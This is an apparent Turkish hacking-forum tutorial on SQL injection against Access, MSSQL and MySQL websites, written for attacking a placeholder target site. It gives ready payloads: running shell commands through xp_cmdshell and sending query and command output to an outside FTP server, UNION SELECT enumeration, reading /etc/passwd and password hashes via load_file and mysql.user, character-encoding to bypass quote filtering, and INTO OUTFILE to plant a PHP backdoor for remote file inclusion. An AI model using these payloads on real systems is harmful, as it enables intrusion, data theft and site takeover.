Access, Mssql ve Mysql ile Sql Injection



Having 1=1 ile sadece 1 tablonun adi ve kolon adlari ögrenilebilirken bu yöntemle tüm tablo ve kolonlar ögrenilebilir.

Uygulanacak baska bir yol ise veri tabani kullanicisi dbo yani admin ise veri tabaninda cmd komutu çalistirabilir bunun sonucunu bir ftp’ye yazdirabiliriz yada istedigimiz bir sorgu sonucunu yine ftp’ye yazdirabiliriz. Burada ihtiyacimiz olan yazilabilir ve sifresiz ulasilabilen bir ftp server ve veri tabani kullanicisinin dbo olmasidir. Zaten bu yöntemi video ile anlatmistim.

Bir sorgu sonucunu ftp’ye yazdirma

www.hedefsite.com/news.asp?id=1;exec+sp_makewebtask+'ftpserv er/a.html','select+*+from+tablo_adi';--

cmd komutu sonucunu ftp’ye yazdirma

www.hedefsite.com/news.asp?id=1;exec master..xp_cmdshell 'dir c:\ > test1.txt';drop table deneme1;CREATE TABLE deneme1 (txt varchar(8000));BULK INSERT deneme1 FROM 'test1.txt';exec+sp_makewebtask+'ftpserver/a.html','select+* +from+deneme1';

baska uygulanacak bir yöntem ise serverda dosya olusturmaktir. Bu sekilde servera fso upload edebilir yada direk index atabiliriz. Yine veri tabani kullanicisinin admin olmasi gerekmektedir. Yöntemi kisaca anlatayim. Bununla ilgili 2 video çekmistim zaten. Simdi bizim tablodaki verileri dosyaya yazdirma sansimiz var. O zaman biz bir tablo olusturup sonra bu tablo içine olusturmak istedigimiz dosyalarin insert edersek daha sonra bu tablodaki verileri dosyaya yazdirarak serverda istedigimiz dosyayi olusturabiliriz. Burada dosyalari hex koduna çevirerek insert etmek yararimiza olacaktir çünkü dosyalarin içinde bulunan verileri injectioni muhtemelen bozacaktir. Bununla ilgili 2 videom zaten var onlara bakarak çok daha iyi anlayabilirsiniz.

Mysql: bir baska veri tabani sistemi mysql’dir. Büyük bi çogunlukla php siteler kullanir. Sunu en basta söyliyeyim php’de update olmaz. Php sitelerde bosuna update denemeyin.

Yapabileceklerini eger veri tabani kullanicisi yetkili degil ise Access ile yapacaklarinizdan ileri geçemez. Union select ile veri çekebilirsiniz. Mysqlde injection kelimeleri arasina /**/ konur. Aslinda bu bir sart degildir ama mysqlde /**/ sonlandiri anlamina geliyor sanirim.

www.hedefsite.com/news.php?id=-1/**/UNION/**/SELECT/**/0,1,2 ,3/*

bu sekilde kolon sayisini tutturmaya çalisiyoruz. Dikkat ederseniz kolon sayisini tutturmaya çalisirken tablo adi yazmamiza gerek yok.

Eger yetkisimiz var ise mysql yada information_schema veri tabanlarindan veri çekebiliriz. Mysql.user tablosunda kullanici adi ve sifre bilgileri bulunur. Tabi sifre hashlenmis olarak tutulur. 4.1 öncesi sürümlerde 16 byte ile sifreliyorlardi 4.1 ve sonrasi sürümlerde 41 byte ile sifreleniyor. Bu sifreler ancak brute force ile kiralabilir. information_schema.tables tablosundan ise tablo ve kolon adlarini ögrenebilirsiniz.Ayrica load_file() fonksiyonu ile dosya okuyabiliriz.

www.hedefsite.com/news.php?id=-1/**/UNION/**/SELECT/**/0,1, load_file('/etc/passwd'),3/*

mesela bu sekilde etc passwd dosyasini okuyabiliriz. Eger magic_quotes_gpc özelligi on ise ‘ karakteri /’ dönüstürülecegi için text olarak yazarak bu yöntem çalismayacaktir. O zaman char() fonksiyonunu kullaniyoruz. /etc/passwd yazisinin karakterlerinin tek tek ascii kodlarini yazarak bu yöntemi uygulayabiliriz.

www.hedefsite.com/news.php?id=-1/**/UNION/**/SELECT/**/0,1, char(47,101,116,99,47,112,97,115,115,119,100),3/*

bu yötemi ayrica sanal dizin biliniyorsa sitenin dosyalarini okumak içinde kullanabiliriz.

/home/www/public_html/ gibi.

Mysql’dede sorgu sonucunu bir dosyaya yazdirma olayi var. Fakat sanal dizin bilinmek zorundadir. Bu isi into outfile komutuyla yapariz.

www.hedefsite.com/news.php?id=1/**/union/**/select/**/0,0,'d osyaya_yazdiralacak_kod '/**/from/**/users/**/**/INTO/**/OUTFILE/**/'/home/www/www.h edefsite.com/public_html/xxx.php'/*

burada ‘dosyaya yazdirlacak kod yerine’ rfi yiyen küçük bir kod parçacigi yazilarak kendimize bir rfi yolu açabiliriz.

Tarih:
Hit: 5839
Yazar: r3dros

Taglar: access mssql ve mysql ile sql injection


Yorumlar


Siftahı yapan siz olun
Yorum yapabilmek için üye girişi yapmalısınız.